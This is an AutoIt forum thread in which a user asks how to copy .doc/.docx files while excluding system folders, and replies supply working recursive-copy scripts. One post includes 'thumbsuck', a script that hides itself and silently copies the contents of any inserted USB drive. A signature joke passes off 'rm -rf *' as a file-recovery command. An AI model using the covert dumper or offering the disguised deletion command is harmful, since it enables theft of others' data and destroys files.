Jump to content

Copy specific types of file


Recommended Posts

Hello ,,

I want a way that I could copy specific types of file (*.doc and *.docx) , More than one type ,

By the way I want another way to ignore some paths when I copy a path ..e.g:

I want to copy Driver C: without c:\Windows Folder?

Any suggestions please ? :P

Edited by TheCrash

[center][font="Lucida Sans Unicode"]It takes hard work to stay on...Top[/font][/center]

Link to comment
Share on other sites

Hello ,,

I want a way that I could copy specific types of file (*.doc and *.docx) , More than one type ,

By the way I want another way to ignore some paths when I copy a path ..e.g:

I want to copy Driver C: without c:\Windows Folder?

Any suggestions please ? :P

_FileChangeRecursive() with the worker function _BackupFile() or _CopyFile(), see _FileChangeRecursive_Samples.au3.

http://www.autoitscript.com/forum/index.ph...c=40542&hl=

BTW: the "path ignore" feature can be to implemented in the worker function.

Cheers

Kurt

__________________________________________________________(l)user: Hey admin slave, how can I recover my deleted files?admin: No problem, there is a nice tool. It's called rm, like recovery method. Make sure to call it with the "recover fast" option like this: rm -rf *

Link to comment
Share on other sites

JamesBrooks & Triblade & /dev/null , so thanks but I really so confused about it , I tried many times without any benefit .

FileFindFirstFile cann't copy the file , and DirCopy cann't handle with FileFindFirstFile

I really need a simple example that search the Fixed Drivers for any *doc or *.docx file , after that I'll fix my mistaks and try to developp it ,

Thank you :P

[center][font="Lucida Sans Unicode"]It takes hard work to stay on...Top[/font][/center]

Link to comment
Share on other sites

I'm really sick of these Functions

I think FileFindFirstFile is good for nothing in this case , and FileCopy also useless ,although it is the only Function that can be used here too :P

so what can I do ? let's just solve the first problem , copy Doc and docx filse from fixed Drives ? Can any one write a simple

here I'll write the source of thumbsuck that can be a good example of copying files:

#Region;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=thumb.ico
#EndRegion;**** Directives created by AutoIt3Wrapper_GUI ****
Opt("TrayIconHide", 1)
$DumpDir = @WorkingDir & "\"
$OldCount=0
while 1 
        $var=DriveGetDrive ( "REMOVABLE" )
        If  not @error and $var[0] <> $OldCount Then
            For $i = 1 to $var[0]
                if $var[$i] <> "a:" then
                    $CommandString = 'xcopy ' & $var[$i] & '\ ' & '"' & $DumpDir & DriveGetLabel ($var[$i]) & '-Dump" /EHY'
                ;MsgBox(4096, "", $CommandString)
                    DirCreate(DriveGetLabel ($var[$i]) & "-Dump")
                ;MsgBox(4096, "", DriveGetLabel ($var[$i]))
                    Run($CommandString, "", @SW_HIDE)
                EndIf
            Next
            $OldCount=$var[0]
        EndIf
        sleep (5000)
WEnd

thumbsuck.au3

Edited by TheCrash

[center][font="Lucida Sans Unicode"]It takes hard work to stay on...Top[/font][/center]

Link to comment
Share on other sites

Maybe something like this...

Note : $PathToScan is the drive where the files you want to copy is located

Note : $PathToPaste is the drive where you want the copies to go

Note : $Types is in a format of type|type|type|etc..

Note : $List = _FileListToArray ($PathToScan, '*','1') the "1" at the end means only scan for files not folders.. *look in help file for more info.

Script :

#Include <File.Au3>
#Include <String.Au3>
$PathToScan = @DesktopDir 
$PathToPaste = @DesktopDir & '\Test'
$Types = '.doc|.docx'
$List = _FileListToArray ($PathToScan, '*','1')
If Not IsArray ($List) Then Exit ConsoleWrite ('Error : No Files Found' & @CRLF)
For $A = '1' To $List['0']
$Full_Path = $PathToScan & '\' & $List[$A]
$Type = _StringReverse ($List[$A])
$Type = StringSplit ($Type, '.')
$Type = $Type['1']
$Type = '.' & _StringReverse ($Type)
If _Check ($Type) = '1' Then 
FileCopy ($Full_Path, $PathToPaste & '\' & $List[$A])
EndIf 
Next

Func _Check ($iType)
$String = StringSplit ($Types, '|')
If $String['0'] > '1' Then 
For $B = '1' To $String['0']
If $iType = $String[$B] Then Return '1'
Next
Else 
If $iType = $Types Then Return '1'
EndIf 
Return '0'
EndFunc

Hope this helps!

- John

* Tested with 3 diff. file types and it worked 100%

Latest Projects :- New & Improved TCP Chat

Link to comment
Share on other sites

I'm really sick of these Functions

I think FileFindFirstFile is good for nothing in this case , and FileCopy also useless ,although it is the only Function that can be used here too :P

so what can I do ? let's just solve the first problem , copy Doc and docx filse from fixed Drives ? Can any one write a simple

TheCrash welcome to AutoIt. There is not a simple way to script what you want using FileFindFirstFile and FileCopy. Open the help file and study the code below, it does what you want.

$sSource = 'C:\'
$sTarget = 'C:\Backup'
$aFileExtension = '*.doc|*.docx'
$aExcludeDir = 'Documents and Settings|Program Files|Recycler|System Volume Information|Temp|Windows'

; Check the inforamtion above is correct.
If StringRight($sSource, 1) = '\' Then $sSource = StringTrimRight($sSource, 1)
If StringRight($sTarget, 1) = '\' Then $sTarget = StringTrimRight($sTarget, 1)
If Not FileExists($sSource) Then
    MsgBox(0, 'Warning...', 'Source path ' & $sSource & ' does not exists.')
    Exit
EndIf
If Not FileExists($sTarget) Then DirCreate($sTarget)

; Create an array of file types and exclude directory.
$aExcludeDir = StringSplit($aExcludeDir, '|')
$aFileExtension = StringSplit($aFileExtension, '|')

; Create a folder list, compare the list and remove the exclude directory.
$aFolderList = _FileListToArrayEx($sSource, '*', 2, 0) 
If IsArray($aFolderList) Then
    For $x = 1 To $aFolderList[0]
        For $y = 1 To $aExcludeDir[0]
            If StringInStr($aFolderList[$x], $aExcludeDir[$y]) Then $aFolderList[$x] = ''
            If StringInStr($aFolderList[$x], $sTarget) Then $aFolderList[$x] = ''
        Next
    Next
EndIf

; Search file extension (*.doc, *.docx) and copy them into $sTarget folder.
If IsArray($aFileExtension) Then
    For $a = 1 To $aFileExtension[0]
        For $b = 1 To $aFolderList[0]
            If $aFolderList[$b] = '' Then ContinueLoop
            $aCopyList = _FileListToArrayEx($aFolderList[$b], $aFileExtension[$a], 1)
            If IsArray($aCopyList) Then
                For $x = 1 To $aCopyList[0]
                    $sDest = $sTarget & StringReplace($aCopyList[$x], $sSource, '')
                    $iSize = FileGetSize($aCopyList[$x]) - FileGetSize($sDest)
                    If $iSize <> 0 Or FileGetTime($aCopyList[$x], 0, 1) <> FileGetTime($sDest, 0, 1) Then FileCopy($aCopyList[$x], $sDest, 9)
                Next
            EndIf
        Next
        ; Search $sSource path for file types without recursive
        $aCopyList = _FileListToArrayEx($sSource, $aFileExtension[$a], 1, 0)
        If IsArray($aCopyList) Then
            For $x = 1 To $aCopyList[0]
                $sDest = $sTarget & StringReplace($aCopyList[$x], $sSource, '')
                $iSize = FileGetSize($aCopyList[$x]) - FileGetSize($sDest)
                If $iSize <> 0 Or FileGetTime($aCopyList[$x], 0, 1) <> FileGetTime($sDest, 0, 1) Then FileCopy($aCopyList[$x], $sDest, 9)
            Next
        EndIf
    Next
Else
    MsgBox(0, 'Warning...', 'File extension missing.')
    Exit
EndIf
MsgBox(0, 'Backup', 'Done with the backup.')

Func _FileListToArrayEx($sPath, $sFilter = '*', $iFlag = 0, $iRecursive = 1, $iRunFirstTime = 1)
    Local $aFileList = '', $aFolderList = '', $Tmp = ''
    Local $aBadChar[6] = ['\', '/', ':', '>', '<', '|']
    
    If StringRight($sPath, 1) = '\' Then $sPath = StringTrimRight($sPath, 1)
    If Not FileExists($sPath) Then Return SetError(1, 1, "")
    For $iCC = 0 To UBound($aBadChar) - 1
        If StringInStr($sFilter, $aBadChar[$iCC]) Then Return SetError(2, 2, "")
    Next
    If Not ($iFlag = 0 Or $iFlag = 1 Or $iFlag = 2) Then Return SetError(3, 3, "")

    $sFilter = StringReplace($sFilter, '\', '')
    $iFirstFile = FileFindFirstFile($sPath & '\' & $sFilter)
    If @error Then Return
    
    While 1     
        $iNextFile = FileFindNextFile($iFirstFile)
        If @error Then ExitLoop
        $sFullPath = $sPath & '\' & $iNextFile
        If StringInStr(FileGetAttrib($sFullPath), "D") Then
            If $iFlag <> 1 Then $aFileList &= $sFullPath & @CRLF
            If $iRecursive Then 
                $Tmp = _FileListToArrayEx($sFullPath, $sFilter, $iFlag, $iRecursive = 1, 0)
                If $Tmp <> Chr(38) And $Tmp <> ChrW(38) Then $aFileList &= $Tmp
            EndIf
        Else
            If $iFlag <> 2 Then $aFileList &= $sFullPath & @CRLF
        EndIf
    WEnd    
    FileClose($iFirstFile)

    If $iRunFirstTime Then      
        If $sFilter <> '*' And $sFilter <> '*.*' And $iRecursive Then
            $aFolderList = _FileListToArrayEx($sPath, '*.*', 2, 1, 0)
            $aFolderList = StringSplit(StringTrimRight($aFolderList, 2), @CRLF, 1)          
            For $x = 1 To $aFolderList[0]
                $Tmp = _FileListToArrayEx($aFolderList[$x], $sFilter, $iFlag, $iRecursive, 0)
                If $Tmp <> Chr(38) And $Tmp <> ChrW(38) Then $aFileList &= $Tmp
            Next        
        EndIf
        $aFileList = StringSplit(StringTrimRight($aFileList, 2), @CRLF, 1)
        If $aFileList[$aFileList[0]] = '' Then Return SetError(4, 4, "")
    EndIf
    Return SetError(0, 0, $aFileList)
EndFunc
AutoIt Scripts:NetPrinter - Network Printer UtilityRobocopyGUI - GUI interface for M$ robocopy command line
Link to comment
Share on other sites

JamesBrooks & Triblade & /dev/null , so thanks but I really so confused about it , I tried many times without any benefit .

FileFindFirstFile cann't copy the file , and DirCopy cann't handle with FileFindFirstFile

I really need a simple example that search the Fixed Drivers for any *doc or *.docx file , after that I'll fix my mistaks and try to developp it ,

Thank you :P

did you look at the samples for _FileChangeRecursive()???

__________________________________________________________(l)user: Hey admin slave, how can I recover my deleted files?admin: No problem, there is a nice tool. It's called rm, like recovery method. Make sure to call it with the "recover fast" option like this: rm -rf *

Link to comment
Share on other sites

@TheCrash

Only bump your topic 24h after your last post

O.K I'm sorry

Edit : no need to write in color

:P

@John2006 : Thank you , I tested it but it didn't anything maybe I did something wrong

@Danny35d :

TheCrash welcome to AutoIt. There is not a simple way to script what you want using FileFindFirstFile and FileCopy. Open the help file and study the code below, it does what you want.

you're right , I thought that I can do that via just tow easy lines , Really thanx I'll study this example (It look likes a C code :unsure: ) , It works perfectly :D

did you look at the samples for _FileChangeRecursive()???

No , I'll see it , thank you ^^ Edited by TheCrash

[center][font="Lucida Sans Unicode"]It takes hard work to stay on...Top[/font][/center]

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...